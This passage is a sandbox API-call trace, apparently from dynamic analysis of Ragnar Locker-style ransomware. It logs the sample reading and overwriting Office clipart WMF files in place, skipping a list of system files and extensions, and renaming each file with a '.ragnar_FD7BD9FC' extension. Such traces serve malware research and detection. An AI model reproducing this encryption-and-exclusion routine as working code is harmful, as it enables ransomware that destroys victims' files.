lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20 [0084.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.185] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13436) returned 1 [0084.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.185] GetProcessHeap () returned 0x580000 [0084.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.185] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.187] VirtualAlloc (lpAddress=0x0, dwSize=0x347c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.187] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.187] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.187] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x347c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x347c, lpOverlapped=0x0) returned 1 [0084.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.188] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x347c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.188] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x347c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x347c, lpOverlapped=0x0) returned 1 [0084.189] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x347c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.189] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x347c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.189] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.189] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.189] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.189] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.189] GetProcessHeap () returned 0x580000 [0084.189] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.189] CloseHandle (hObject=0xf4) returned 1 [0084.189] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" [0084.189] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.ragnar_FD7BD9FC" [0084.189] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.190] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0084.190] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.190] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107290.WMF" | out: lpString1="J0107290.WMF") returned="J0107290.WMF" [0084.190] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned=".WMF" [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="autorun.inf") returned 1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="boot.ini") returned 1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="bootfont.bin") returned 1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="bootsect.bak") returned 1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="bootmgr") returned 1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="bootmgr.efi") returned 1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="bootmgfw.efi") returned 1 [0084.190] lstrcmpiW (lpString1="J0107290.WMF", lpString2="desktop.ini") returned 1 [0084.191] lstrcmpiW (lpString1="J0107290.WMF", lpString2="iconcache.db") returned 1 [0084.191] lstrcmpiW (lpString1="J0107290.WMF", lpString2="ntldr") returned -1 [0084.191] lstrcmpiW (lpString1="J0107290.WMF", lpString2="ntuser.dat") returned -1 [0084.191] lstrcmpiW (lpString1="J0107290.WMF", lpString2="ntuser.dat.log") returned -1 [0084.191] lstrcmpiW (lpString1="J0107290.WMF", lpString2="ntuser.ini") returned -1 [0084.191] lstrcmpiW (lpString1="J0107290.WMF", lpString2="thumbs.db") returned -1 [0084.191] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.191] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.191] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.191] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.191] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.191] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.191] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20 [0084.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.191] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12308) returned 1 [0084.191] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x300b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.191] GetProcessHeap () returned 0x580000 [0084.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.191] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.193] VirtualAlloc (lpAddress=0x0, dwSize=0x3014, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.193] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3014, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3014, lpOverlapped=0x0) returned 1 [0084.194] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.195] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3014, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.195] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3014, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3014, lpOverlapped=0x0) returned 1 [0084.195] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3014, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.195] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.195] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.195] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.195] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.195] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.195] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.195] GetProcessHeap () returned 0x580000 [0084.195] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.196] CloseHandle (hObject=0xf4) returned 1 [0084.196] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" [0084.196] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.ragnar_FD7BD9FC" [0084.196] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.196] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0084.196] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.196] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107300.WMF" | out: lpString1="J0107300.WMF") returned="J0107300.WMF" [0084.196] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned=".WMF" [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="autorun.inf") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="boot.ini") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="bootfont.bin") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="bootsect.bak") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="bootmgr") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="bootmgr.efi") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="bootmgfw.efi") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="desktop.ini") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="iconcache.db") returned 1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="ntldr") returned -1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="ntuser.dat") returned -1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="ntuser.dat.log") returned -1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="ntuser.ini") returned -1 [0084.197] lstrcmpiW (lpString1="J0107300.WMF", lpString2="thumbs.db") returned -1 [0084.197] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.197] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.197] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.197] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.197] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.197] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.197] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20 [0084.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.198] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2460) returned 1 [0084.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x993, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.198] GetProcessHeap () returned 0x580000 [0084.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.198] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.199] VirtualAlloc (lpAddress=0x0, dwSize=0x99c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.200] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x99c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x99c, lpOverlapped=0x0) returned 1 [0084.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x99c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.200] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x99c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x99c, lpOverlapped=0x0) returned 1 [0084.200] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x99c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.200] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x99c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.200] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.200] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.200] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.201] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.201] GetProcessHeap () returned 0x580000 [0084.201] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.201] CloseHandle (hObject=0xf4) returned 1 [0084.201] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" [0084.201] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.ragnar_FD7BD9FC" [0084.201] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.201] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0084.201] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.202] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107302.WMF" | out: lpString1="J0107302.WMF") returned="J0107302.WMF" [0084.202] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned=".WMF" [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="autorun.inf") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="boot.ini") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="bootfont.bin") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="bootsect.bak") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="bootmgr") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="bootmgr.efi") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="bootmgfw.efi") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="desktop.ini") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="iconcache.db") returned 1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="ntldr") returned -1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="ntuser.dat") returned -1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="ntuser.dat.log") returned -1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="ntuser.ini") returned -1 [0084.202] lstrcmpiW (lpString1="J0107302.WMF", lpString2="thumbs.db") returned -1 [0084.202] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.202] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.202] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.202] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.202] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.202] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.202] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20 [0084.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.203] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4136) returned 1 [0084.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x101f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.203] GetProcessHeap () returned 0x580000 [0084.203] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.203] ReadFile (in: 